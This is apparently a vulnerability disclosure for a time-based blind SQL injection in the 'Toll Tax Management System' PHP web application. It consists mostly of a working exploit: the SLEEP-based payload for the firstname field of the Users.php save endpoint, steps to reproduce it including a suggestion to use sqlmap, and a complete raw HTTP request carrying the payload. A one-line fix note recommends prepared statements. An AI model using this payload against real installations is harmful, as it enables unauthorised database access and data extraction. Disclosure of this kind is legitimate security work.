SQLI Blind (Toll Tax Management System)
22/09/2023
Xcode0x (Mohamed Almarri)
Twitter: @xcode0x
https://www.sourcecodester.com/php/15304/toll-tax-management-system-phpoop-free-source-code.html
v1
debian
The application's endpoint /classes/Users.php?f=save is vulnerable to blind SQL injection. By injecting a payload into the firstname field, specifically Adminstrator' AND (SELECT 2171 FROM (SELECT(SLEEP(5)))hgdO)-- EnP, an attacker can introduce a conditional delay in the SQL query. If the server responds with a delay of approximately 5 seconds after processing this request, it confirms the vulnerability. This vulnerability can allow attackers to infer information about the database and potentially extract data or perform administrative operations. It's recommended to sanitize all user inputs and use prepared statements to prevent such attacks.
1- login as admin and go to profile [http://10.0.30.0:1337/admin/?page=user] .
2- set you payload in firstname or use sqlmap .
POST /classes/Users.php?f=save HTTP/1.1
Host: 10.0.30.0:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------87171060839686939451677610311
Content-Length: 999
Origin: http://10.0.30.0:1337
Connection: close
Referer: http://10.0.30.0:1337/admin/?page=user
Cookie: PHPSESSID=o23q98hs6j8ut4u548ebt8epe4
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="id"
1
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="firstname"
Adminstrator' AND (SELECT 2171 FROM (SELECT(SLEEP(5)))hgdO)-- EnP
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="middlename"
s
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="lastname"
Admin
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="username"
admin
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="password"
-----------------------------87171060839686939451677610311
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------87171060839686939451677610311--
Linux - debian